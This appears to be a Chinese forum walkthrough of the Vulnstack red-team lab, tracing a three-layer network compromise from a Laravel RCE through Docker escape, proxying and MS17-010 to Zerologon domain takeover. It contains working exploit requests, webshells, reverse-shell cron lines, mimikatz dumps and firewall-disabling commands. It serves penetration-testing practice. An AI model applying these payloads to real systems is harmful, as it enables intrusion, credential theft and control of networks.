这个靶场是红日的ATT&CK实战系列-红队评估(七)
目前此靶场已在vulnstack开源,下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
第一次玩三层内网靶场,有很多技术属于自己的知识盲区,经过这次练习,一边学习技术一边练手
WP参考链接(本文涉及到侵权请联系删除):
https://www.freebuf.com/articles/network/264560.html
https://www.freebuf.com/articles/web/273230.html
https://xz.aliyun.com/t/9574#toc-4
话不多说,开始聊聊我的攻击历程。
整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理,横向移动,最终拿下域控。整个靶场所涉及的技术点大致如下:
端口扫描
端口服务识别
漏洞搜索与利用
Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
Docker逃逸
通达OA v11.3 漏洞利用
Linux环境变量提权
Redis 未授权访问漏洞
Linux sudo权限提升(CVE-2021-3156)漏洞利用
SSH密钥利用
Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
MS14-068漏洞利用
路由转发与代理
二层网络代理
三层网络代理
内网(域内)信息收集
MS17-010
Windows系统NTLM与用户凭据获取
SMB Relay攻击
Psexec远控利用
哈希传递攻击(PTH)
WMI利用
DCOM利用
黄金票据
白银票据
Sid History
整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:
需要在Vmware中新增两个虚拟网卡VMnet8、VMnet14。
VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24。
VMnet14设为仅主机模式,IP段设为192.168.93.0/24。
将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
第二层网络区域:
第三次网络区域:
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动Nginx和Redis服务:
第二层网络的 Ubuntu需要启动Docker容器:
第三层网络的 Windows 7(PC 1)需要启动通达OA:
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260(我用administrator:Whoami2021启动的)
五台靶机及其上面的服务需要全部启动,缺一不可。
首先拿到一个ip地址:192.168.2.54,先进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.2.54
发现了四个端口22、80、81、6379
80端口是个博客网站
81端口发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14),Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
在2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
参考文章:《Laravel Debug mode RCE(CVE-2021-3129)漏洞复现》
(1)首先使用 [phpggc]工具生成一条laravel中存在的反序列化利用POC(经过编码后的):
(phpggc链接 https://github.com/ambionics/phpggc)
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=
<?php eval($_POST[whoami]);?>
(2)发送如下数据包,将Laravel的原日志文件laravel.log清空:
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
(3)发送如下数据包,给Log增加一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 163
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
(4)将之前生成的编码后的POC作为viewFile的值,发送数据包:
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 5058
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}
(5)发送如下数据包,清空对log文件中的干扰字符,只留下POC:
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 299
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。
(6)使用phar://
进行反序列化,执行任意代码(此时需要使用绝对路径):
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 210
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
成功写入webshell并用蚁剑连接成功:URL:http://192.168.2.54:81/shell.php passwd:whoami
使用shell命令发现可能处于容器环境,经测试确实处于docker环境
ls -alh /.dockerenv
cat /prov/1/cgroup
尝试反弹shell到kali进行提权,kali设了监听,没反应,可能不出网
nmap扫描时发现了6379端口,尝试redis弱口令或者未授权访问
发现redis未授权访问
redis-cli -h 192.168.2.54
尝试写入SSH公钥
ssh-keygen -t rsa #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt #将公钥导入key.txt文件
cat key.txt | redis-cli -h 192.168.2.54 -p 6379 -x set xxx #把key.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
ssh 192.168.2.54 # 连接
连接成功,简单进行了信息收集,发现存在52段,
由于之前的shell反弹不了,看一下nginx的配置文件是不是做了反向代理
81端口做了反向代理,指向了192.168.52.20:8000
思路:用ubuntu作为跳板机进行操作
首先反弹shell到ubuntu:192.168.52.10
搜索带有suid的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
发现home/jobs目录下有个shell文件,并且具有SUID权限
cd到/home/jobs目录下,运行一下这个文件,可以看到shell文件执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。
那么我们尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
成功拿到root权限,我们将shell反弹到ubuntu(web1)中
该漏洞(CVE-2019-5736)是2019年爆出的。在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,其允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
利用该漏洞需要满足以下两个条件之一:
由一个攻击者控制的恶意镜像创建
攻击者具有某已存在容器的写权限,且可通过docker exec进入。
首先下载攻击脚本:
https://github.com/Frichetten/CVE-2019-5736-PoC
打开main.go脚本,将脚本中要在目标机上执行的命令修改为反弹shell的命令,IP为攻击机IP,端口为攻击机监听的端口:
执行命令编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将生成的利用程序main上传到目标主机并赋予权限:
攻击机监听,但是失败了,试了几次都把靶机打崩,选择另一种方式提权
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
漏洞利用
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
有三个磁盘文件和N个设备文件,我们将/dev/sda1挂载到自己创建的文件夹
mkdir tset
mount /dev/sda1 /tset
ls /test
挂载成功,写入计划任务
echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/1233 0>&1' >> /test/var/spool/cron/root
试了好几次不成功,中间成功了一次,原因是/test/bin目录下,sh软连接为bash,
bash -c 'bash -i >& /dev/tcp/192.168.52.10/1233 0>&1' 显示语法错误,
ln -s bash sh以后,执行成功,还有一种是把命令直接写为bash脚本,给可执行权限,写入计划任务那里写好bash脚本路径就可以,这个我会再尝试一下。
参考链接:https://blog.csdn.net/qq_35569814/article/details/101855239
换另一个思路,翻一下看看可不可以访问root目录或查看home有没有用户
有Ubuntu这个用户,就可以把我们自己生成的SSH密钥写入到/test/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器。
ssh-keygen -f test
chmod 600 test #赋予权限
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制
echo > /test/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo '生成的.pub文件的内容' > /test/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
cat /test/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
ssh -i test ubuntu@192.168.52.20
linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。
linux内核中的overlayfs文件系统中没有正确地验证用户名称空间和底层文件系统中文件功能的设置。由于非特权用户名称空间和Ubuntu内核中允许非特权覆盖的补丁的组合,攻击者可以使用它来获得更高的特权。
漏洞影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
今年ubuntu机器出了一个内核提权漏洞,该机器在影响范围内
进入到tmp目录
vim exploit.c #将下载的exploit.c的内容粘贴到该文件中
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit
Exp:https://github.com/briskets/CVE-2021-3493
成功提权,那么接下来该将这两台机器上线MSF继续进攻内网了
先上线web1这台主机
添加路由
因为在Web 1这台机器上通过尝试该机器安装有python3.6.9,那么我们可以将木马上传到Web 1,通过python3开启一个http服务,使用Web 2进行下载并运行我们的木马
首先MSF生成木马,通过MSF上传到Web 1中
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=2020 -f elf -o 20.elf
sessions 1
upload /home/kali/20.elf /tmp/20.elf
web1中:python3 -m http.server
web2中:
wget http://192.168.2.54:8000/tmp/20.elf 下不到就把tmp去掉
chmod +x 20.elf
./20.elf
路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务。
在攻击机上执行如下:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在DMZ区域的Ubuntu 18上传ew_for_linux64,并执行如下命令:
./ew_for_linux64 -s rssocks -d 192.168.2.193 -e 1234
然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了。
接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
发现第二层网络中还有一个主机(192.168.52.30),使用nmap进一步扫描该主机的信息:
配置一下代理proxychain.
proxychains nmap -Pn -sT -sV -F -O 192.168.52.30
是一台Windows主机,并且该Windows主机的8080端口上有一个nginx的http服务,在攻击机的浏览器上设置好代理后,成功访问:
是个通达OA,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。具体漏洞详情可参考:https://blog.csdn.net/szgyunyun/article/details/107104288?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.base
Burpsuite抓包进行渗透测试
之后一定要使用代理把工具送进内网,不然没法使用。
前端绕过就不做了,直接进入后台getshell
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT";filename="jpg"
Content-Type: image/jpeg
<?php$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2106/1559905693.jpg"}&cmd=whoami
————————————————
路径这块需要修改一下,成功拿到系统权限,将权限反弹给shell
使用metasploit的web_delivery模块生成powershell类型的payload,直接在目标机上执行即可拿下该Windows服务器.(此处为32位的反弹shell)。
现在的网络拓扑图如下
ipconfig /all # 查看本机ip,所在域
systeminfo # 列出系统信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
我们使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
提示mimikatz x86 cannot access x64 process
。
分析发现,反弹的shell是32位,需要将meterpreter进程迁移到一个64位进程中(参考链接 https://www.zhihu.com/question/458777798/answer/1879326720,https://blog.csdn.net/qq_41453632/article/details/84726947)。
不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏,可以迁移到mysqld进程中不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏)
保存数据
Authentication Id : 0 ; 1390175 (00000000:0015365f)
Session : Interactive from 1
User Name : bunny
Domain : WHOAMIANONY
Logon Server : DC
Logon Time : 2021/6/9 19:09:37
SID : S-1-5-21-1315137663-3706837544-1429009142-1112
msv :
[00000003] Primary
* Username : bunny
* Domain : WHOAMIANONY
* LM : 7de10bf327ef7f2ac6ebe8776a153feb
* NTLM : cc567d5556030b7356ee4915ff098c8f
* SHA1 : 3747632756191e3350e53211c63f804eb163638f
tspkg :
* Username : bunny
* Domain : WHOAMIANONY
* Password : Bunny2021
wdigest :
* Username : bunny
* Domain : WHOAMIANONY
* Password : Bunny2021
kerberos :
* Username : bunny
* Domain : WHOAMIANONY.ORG
* Password : Bunny2021
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2021/6/9 19:06:35
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : PC1$
Domain : WHOAMIANONY
Logon Server : (null)
Logon Time : 2021/6/9 19:06:35
SID : S-1-5-20
msv :
[00000003] Primary
* Username : PC1$
* Domain : WHOAMIANONY
* NTLM : 3e6a3d8c713b4821eaa51aab25f52074
* SHA1 : d8e1318a24c64b8fcc89dc8609b09af50342bacf
tspkg :
wdigest :
* Username : PC1$
* Domain : WHOAMIANONY
* Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
kerberos :
* Username : pc1$
* Domain : whoamianony.org
* Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
ssp :
credman :
Authentication Id : 0 ; 50796 (00000000:0000c66c)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2021/6/9 19:06:34
SID :
msv :
[00000003] Primary
* Username : PC1$
* Domain : WHOAMIANONY
* NTLM : 3e6a3d8c713b4821eaa51aab25f52074
* SHA1 : d8e1318a24c64b8fcc89dc8609b09af50342bacf
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : PC1$
Domain : WHOAMIANONY
Logon Server : (null)
Logon Time : 2021/6/9 19:06:34
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : PC1$
* Domain : WHOAMIANONY
* Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
kerberos :
* Username : pc1$
* Domain : WHOAMIANONY.ORG
* Password : %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;
ssp :
credman :
成功抓取到域用户bunny和域管理员administrator的凭证:
bunny:Bunny2021
administrator:Whoami2021
现在第二层网络已经渗透完了,我们继续入侵第三层网络(192.168.93.1/24)
在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由:
路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理,我们使用earthworm搭建一个二级socks5代理服务。
之前设置的网络代理可以暂时关闭
首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口,执行命令:
./ew_for_linux64 -s lcx_listen -l 1080 -e 1235
然后在第二层网络的Windows服务器上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:
ew_for_Win.exe -s ssocksd -l 999
最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口连接起来,执行命令:
./ew_for_linux64 -s lcx_slave -d 192.168.2.193 -e 1235 -f 192.168.52.30 -g 999
此时,就可以设置proxychains等代理工具,通过访问攻击机的1080端口来使用架设在第二层网络Windows主机上的socks代理服务,来进入第三层网络了。
有乱码输入chcp 65001可以解决
在PC1中,搜集信息发现93段中有30、40这两台主机
接着,我们使用metasploit的 auxiliary/scanner/smb/smb_version 模块(可用来探测Windows主机存活)来扫描第三层网络中的主机存活,看看还有没有其他主机存活
这里可以选择多个模块探测
auxiliary/scanner/discovery/udp_sweep
也发现了这两台主机
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname
这两模块也可以,就不展示了
接下来就是nmap扫描了,也可以直接尝试一下MS17-010,经典的永恒之蓝
nmap扫描192.168.93.40 DC这台域控主机,发现开启了 53、135、139、445、3389等端口,
防火墙为firewall,可以尝试远程连接和永恒之蓝
nmap扫描192.168.93.30 PC2这台主机,发现没什么信息
尝试直接用MS17-010攻击
先攻击PC2这台非域控主机
setg Proxies socks5:127.0.0.1:1090use exploit/windows/smb/ms17_010_eternalblueset rhosts 192.168.93.40set payload windows/x64/meterpreter/bind_tcpset rhost 192.168.93.40set lport 4445exploit
真不容易能上线(不建议使用4444端口,不知道为什么,换其他端口能上去,4444没上去过,可能是玄学)推荐使用方程式漏洞利用工具,非常好使。
至此,拿下了四台主机,就剩最后一台域控主机
先进入PC2主机,搜集信息
综合上面收集的信息可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
mimikatz #
sekurlsa::logonpasswordsAuthentication
Id : 0 ; 1566162 (00000000:0017e5d2)
Session: Interactive from 1
User Name: moretz
Domain: WHOAMIANONYLogon
Server: DC
Logon Time: 2021/6/9 19:09:25
SID :S-1-5-21-1315137663-3706837544-1429009142-1115
msv :[00000003]
Primary
* Username : moretz
* Domain : WHOAMIANONY
* LM : aa1dc0d61f8331b85e2dd9e955f18034
* NTLM : ba6723567ac2ca8993b098224ac27d90
* SHA1 : 8aff077bf8fc3659627f9b05f1003bd46e88e097 tspkg :
* Username : moretz
* Domain : WHOAMIANONY
* Password : Moretz2021
wdigest :
* Username : moretz
* Domain : WHOAMIANONY
* Password : Moretz2021
kerberos :
* Username : moretz
* Domain : WHOAMIANONY.ORG
* Password : Moretz2021
ssp :
credman :
域用户账号密码为:moretz:Moretz2021
之前二层内网渗透已经拿下了域控权限,可以直接登录。
use exploit/windows/smb/psexecset rhosts 192.168.93.30set SMBUser administratorset SMBPass Whoami2021set payload windows/meterpreter/bind_tcpset rhost 192.168.93.30run
失败了,前面namp扫描发现开了防火墙,有了域控密码,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。
首先控制第二层网络的Windows 7与域控建立ipc连接:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
使用sc远程在域控制器(192.168.93.30)上创建服务关闭防火墙:
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\192.168.93.30 start unablefirewall
再次尝试执行 exploit/windows/smb/psexec 模块即可成功登录:
成功拿下域控:
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限,成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
脚本地址:https://github.com/SecuraBV/CVE-2020-1472
https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472
执行脚本
proxychains python3 zerologon_tester.py DC 192.168.93.30
显示success表示漏洞存在
漏洞利用
将域控密码置空
proxychains python3 cve-2020-1472-exploit.py DC 192.168.93.30
使用impacket中的工具将域控的密码dump下来
proxychains python3 secretsdump.py WHOAMIANONY.ORG/DC\$@192.168.93.30 -just-dc -no-pass
得到hash之后,使用MSF PSEXEC模块上线
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcpset
rhost 192.168.93.30
run/exploit
但是并没有返回会话,估计是防火墙的原因,使用MS17010命令执行模块进行关闭
netsh advfirewall set allprofiles state off
恢复域控Hash
重点:一定恢复域控hash,不然会导致脱域
执行以下命令,获取目标原始hash
使用msf进行生成
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.save
下载到Kali中
下载完成之后进行删除
del /f system.savedel /f sam.savedel /f security.save
查看域控hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
使用脚本恢复hash
proxychains python3 reinstall_original_pw.py DC 192.168.93.30 7fd0cca5eafe480f617b04039bbf115c
使用空密码连接进行验证是否恢复
这块还没做,涉及到黄金票据、白银票据、Sid History,之后会继续完善
这个靶场花费了不少时间,对自己的提升还是挺大的,算是一次比较完整的渗透练习。
有些工具自己也是第一次用,一边用一边学,涉及到很多原理,有一部分还是比较懵逼,后续会继续总结。
当然,参考的三个wp也是让我能够完成的最大利器,非常感谢。
个人觉得,有一定基础的,对许多工具了解一点但不是特别熟练的,可以多花点时间把这个靶场弄通,涉及到的思路原理都搞清楚,提升还是很大的。
我自己对于搭VPN这块还不是很熟,https://www.freebuf.com/articles/web/273230.html 这篇文章里的第三层内网渗透,搭VPN,以及iptables添加路由的一些操作还需要去学习。这篇文章有个方便的地方就是,搭了vpn,打开目标主机的3389端口,自己的win10可以远程控制桌面,操作起来会很方便。
https://xz.aliyun.com/t/9574#toc-12 这篇文章中方程式漏洞利用工具,我自己本机配置有点问题,用不了,之后会在虚拟机里配置一下,查了很多资料,这个工具很好用,关于CVE-2020-1472原理还不是很清楚,以及攻击和利用还需要多熟练熟练.
最后推荐几篇文章,非常不错
红队技巧-域渗透的协议利用 :
https://mp.weixin.qq.com/s/LzezldPS5fTrfLL0YbDLoA
ms17-010:https://www.jianshu.com/p/2f31c453c70f
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
cc11 | 5.00 | 0 | 2021-06-22 08:08:59 | 一个受益终生的帖子~~ |
Track-聂风 | 60.00 | 0 | 2021-06-16 20:08:48 | 写的挺不错的,继续加油 |
打赏我,让我更有动力~
© 2016 - 2022 掌控者 All Rights Reserved.
swl
发表于 9个月前
求贤
奇安信【渗透测试工程师】红队选手
工作地点:北京
岗位职责:
授权的渗透测试/红队行动、代码审计、应急响应。
任职要求:
1、对信息安全行业有浓厚的兴趣且渴望成长;2、熟练运用渗透测试/APT 的常见攻击手法与工具,对相关原理有一
定了解,并有一定的实践经验;
3、熟悉某一种或多种脚本、语言,有白盒代码审计的能力,能够独
立挖掘/分析应用程序漏洞。
加分项:
1、优秀的渗透测试/红蓝对抗相关经历;
2、拥有大型企业内外网完整渗透测试经;验,对 APT 有深入研究或
有实践经验;
3、有取证溯源相关工作经验优先;
4、有黑灰产调查经验优先。
薪资根据定级而定,可观且可谈
福利:入职培训、每年体检、六险一金、免费健身房、下午茶;
岗位咨询及简历投递信息:
HR 小姐姐邮箱:wangqiong@qianxin.com (邮件主题:姓名+工作地+岗
位名称)
联系方式:15801338496(同微信号)建议有意向的直接加微信聊哦!!
评论列表
加载数据中...